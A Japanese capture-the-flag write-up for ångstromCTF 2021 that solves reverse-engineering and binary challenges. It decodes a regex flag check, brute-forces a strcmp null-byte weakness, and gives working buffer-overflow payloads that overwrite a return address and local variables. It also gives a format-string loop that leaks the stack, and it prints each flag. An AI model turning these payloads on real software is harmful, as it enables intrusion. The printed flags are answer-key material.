ångstromCTF 2021 writeup[Rev,Binary]

問題ファイルや私が書いたコードは(https://github.com/Vegctrp/CTFs/tree/master/angstrom2021)にあります。

FREE FLAGS!!1!!(rev, 50pts, 740solves)

バイナリをgdbかghidraかidaかなんかに突っ込むと、31337 → 419 723 (積が302937) → bananaの順に入力すればいいことがわかります。

actf{what_do_you_mean_bananas_arent_animals}

Revex(rev, 75pts, 178solves)

flagのみ受理される正規表現が渡されるので、気合で読みます。気合で分解して解読すると以下のようになり、flagが決まります。

  • (?=.*re)
    • "re"という部分がある
  • (?=.{21}[^_]{4}}$)
    • 22文字目から4文字連続で"_"以外が並び、26文字目が"}"で終了
  • (?=.{14}b[^_]{2})
    • 15文字目がb, 16.17文字目が"_"以外
  • (?=.{8}[C-L])
  • (?=.{8}[B-F])
  • (?=.{8}[^B-DF])
    • 9文字目は{BCDEF}かつ{CDEHIJKL}で、{BCDF}でない→E
  • (?=.{7}G(?..).{7}t\k)
    • 8文字目はG、18文字目はt 9,10文字目と19,20文字目が一致
  • (?=.*u[^z].$)
    • uは末尾から3番目 zは末尾から2番目ではない
  • (?=.{11}(?[13])s.{2}(?!\k)[13]s)
    • 12文字目は"1"か"3"、13文字目はs 16文字目は12文字目とは違う文字で"1"か"3" 17文字目はs
  • (?=.*.{2})
    • "??"という並びがある
  • (?=actf{)
    • 先頭は"actf{"
  • (?=.{21}[p-t])
    • 22文字目は{pqrst}
  • (?=.*1.*3)
    • "1", "3"がこの順に入っている
  • (?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.q)(?=._))
    • 21文字目以降に{uyzq_}が一つ以上ずつ入っている
  • (?=.*Ex)
    • Exが入っている

actf{reGEx_1s_b3stEx_qzuy}

Secure Login(Binary, 50pts, 318solves)

dev/urandomから取ってきたパスワードと入力をstrcmpで比較しています。

strcmpはヌル文字を文字列の最後尾と認識するので、入力をヌル文字のみにして、dev/urandomから取っているパスワードの先頭がヌル文字\x00になる1/256を引くまで回し続けるといつか当たります。

actf{if_youre_reading_this_ive_been_hacked}

tranquil(Binary, 70pts, 488solves)

入力をgets(&password);を使ってchar password[64];に格納しているので、入力をchar password[64];から溢れさせたい気持ちになります。RIPレジスタをwin()関数のアドレスである0x401196に書き換えるようにするとwin()関数を呼んでくれます。
echo -e 'password123\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11\x40\x00' | ./tranquil

actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

Sanity Checks(Binary, 80pts, 374solves)

gets(&password);を使ってchar password[64];を溢れさせたい気持ちになります。
ローカル変数は

char password[64];
int ways_to_leave_your_lover = 0;               # 0x32にしたい
int what_i_cant_drive = 0;                      # 0x37にしたい
int when_im_walking_out_on_center_circle = 0;   # 0xf5にしたい
int which_highway_to_take_my_telephones_to = 0; # 0x3dにしたい
int when_i_learned_the_truth = 0;               # 0x11にしたい

となっているので、対応する部分を然るべき値に書き換えてやると通ります。

echo -e 'password123\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x00\x00\x00\x3d\x00\x00\x00\xf5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00' | ./checks
actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}

stickystacks(Binary, 90pts, 309solves)

fgets(name, 6, stdin);で入力を6文字受け付けた後、printf(name);をしているので、書式文字列攻撃の気持ちになります。入力に%1$pといれるとスタックの中身を読めるという定番のアレです。雑に

for ((i=1;i<=100;i++)); do
    echo $i
    echo %$i\$p | ./stickystacks
done

とすると

33
Name:
Welcome, 0x6c65777b66746361
34
Name:
Welcome, 0x61625f6d27695f6c
35
Name:
Welcome, 0x6c625f6e695f6b63
36
Name:
Welcome, 0x5f7365795f6b6361
37
Name:
Welcome, 0x6b6361625f6d2769
38
Name:
Welcome, 0x5f6568745f6e695f
39
Name:
Welcome, 0x65625f6b63617473
40
Name:
Welcome, 0x3439323135623963
41
Name:
Welcome, 0x3438363737646165
42
Name:
Welcome, 0xa7d333935663161

という部分があったので、これをくっつけてデコードすると勝ちです。

actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}